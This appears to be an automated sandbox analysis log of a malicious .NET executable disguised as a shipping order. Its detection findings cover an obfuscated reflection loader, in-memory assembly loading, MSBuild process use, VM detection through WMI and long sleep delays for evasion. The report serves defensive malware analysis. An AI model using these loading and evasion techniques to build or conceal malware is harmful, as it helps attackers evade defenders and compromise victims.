Source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, m0AlqHNW5c0F66NVdaA.cs	.Net Code: Type.GetTypeFromHandle(IiL8TZuak9cFAGKmhoy.QpTKXxvutk(16777301)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(IiL8TZuak9cFAGKmhoy.QpTKXxvutk(16777246)),Type.GetTypeFromHandle(IiL8TZuak9cFAGKmhoy.QpTKXxvutk(16777253))})
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, m0AlqHNW5c0F66NVdaA.cs	.Net Code: Type.GetTypeFromHandle(IiL8TZuak9cFAGKmhoy.QpTKXxvutk(16777301)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(IiL8TZuak9cFAGKmhoy.QpTKXxvutk(16777246)),Type.GetTypeFromHandle(IiL8TZuak9cFAGKmhoy.QpTKXxvutk(16777253))})
Source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.raw.unpack, m0AlqHNW5c0F66NVdaA.cs	.Net Code: Type.GetTypeFromHandle(IiL8TZuak9cFAGKmhoy.QpTKXxvutk(16777301)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(IiL8TZuak9cFAGKmhoy.QpTKXxvutk(16777246)),Type.GetTypeFromHandle(IiL8TZuak9cFAGKmhoy.QpTKXxvutk(16777253))})

.NET source code contains potential unpacker

Source: ShippingOrder_ GSHS2400052.exe, OptionExerciseModelPythonWrapper.cs

.Net Code: Initialize System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Code function: 0_2_00007FFD9B8A443D push esi; retn 5E45h	0_2_00007FFD9B8A4757
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Code function: 0_2_00007FFD9B8A26AD push ebx; ret	0_2_00007FFD9B8A26BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01150B4D push edi; ret	1_2_01150CC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01150C95 push edi; retf	1_2_01150C3A

Source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, m0AlqHNW5c0F66NVdaA.cs	High entropy of concatenated method names: 'D3bK7UtAhAgXdmVYrQZ', 'XnjiGctMmSvifPTN8wh', 'p0DuZFYOGp', 'j5qppKt5fa16d0BkWJd', 'PNXI8WtUV6sLydRm0Lw', 'jol2oZtG23stFoeP4Ju', 'tfpm2OtHiaGrQGOeUmm', 'b6c2GutTiwlVhglBgrb', 'AEJ3qOt2Fl7DiUSyTls', 'BE8DdctjXdTNjYssDRd'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, oiioonoootoonrhromrm.cs	High entropy of concatenated method names: 'EvkvabAW', 'MkWZSatmpFrjwxdCxsm', 'UfHcE9tpgIss2RmmDfR', 'kOR9wetyrCsZviFoAoj', 't5wsUntsNxSdM91W7YN', 'onanriooeatlreiiaeai', 'YgAPOlXRc', 'KMsk2rXXV', 'bvRqpe9Oq', 'QUNUOk9zJTvvn1CqVMr'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, m0AlqHNW5c0F66NVdaA.cs	High entropy of concatenated method names: 'D3bK7UtAhAgXdmVYrQZ', 'XnjiGctMmSvifPTN8wh', 'p0DuZFYOGp', 'j5qppKt5fa16d0BkWJd', 'PNXI8WtUV6sLydRm0Lw', 'jol2oZtG23stFoeP4Ju', 'tfpm2OtHiaGrQGOeUmm', 'b6c2GutTiwlVhglBgrb', 'AEJ3qOt2Fl7DiUSyTls', 'BE8DdctjXdTNjYssDRd'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, oiioonoootoonrhromrm.cs	High entropy of concatenated method names: 'EvkvabAW', 'MkWZSatmpFrjwxdCxsm', 'UfHcE9tpgIss2RmmDfR', 'kOR9wetyrCsZviFoAoj', 't5wsUntsNxSdM91W7YN', 'onanriooeatlreiiaeai', 'YgAPOlXRc', 'KMsk2rXXV', 'bvRqpe9Oq', 'QUNUOk9zJTvvn1CqVMr'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.raw.unpack, m0AlqHNW5c0F66NVdaA.cs	High entropy of concatenated method names: 'D3bK7UtAhAgXdmVYrQZ', 'XnjiGctMmSvifPTN8wh', 'p0DuZFYOGp', 'j5qppKt5fa16d0BkWJd', 'PNXI8WtUV6sLydRm0Lw', 'jol2oZtG23stFoeP4Ju', 'tfpm2OtHiaGrQGOeUmm', 'b6c2GutTiwlVhglBgrb', 'AEJ3qOt2Fl7DiUSyTls', 'BE8DdctjXdTNjYssDRd'
Source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.raw.unpack, oiioonoootoonrhromrm.cs	High entropy of concatenated method names: 'EvkvabAW', 'MkWZSatmpFrjwxdCxsm', 'UfHcE9tpgIss2RmmDfR', 'kOR9wetyrCsZviFoAoj', 't5wsUntsNxSdM91W7YN', 'onanriooeatlreiiaeai', 'YgAPOlXRc', 'KMsk2rXXV', 'bvRqpe9Oq', 'QUNUOk9zJTvvn1CqVMr'

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Memory allocated: 2F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Memory allocated: 1B000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 10B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2B00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 10B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Window / User API: threadDelayed 1718	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe	Window / User API: threadDelayed 8115	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 964	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 8893	Jump to behavior

Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6624	Thread sleep count: 1718 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6624	Thread sleep count: 8115 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -199344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -199124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -198906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe TID: 6528	Thread sleep time: -99234s >= -30000s	Jump to behavior
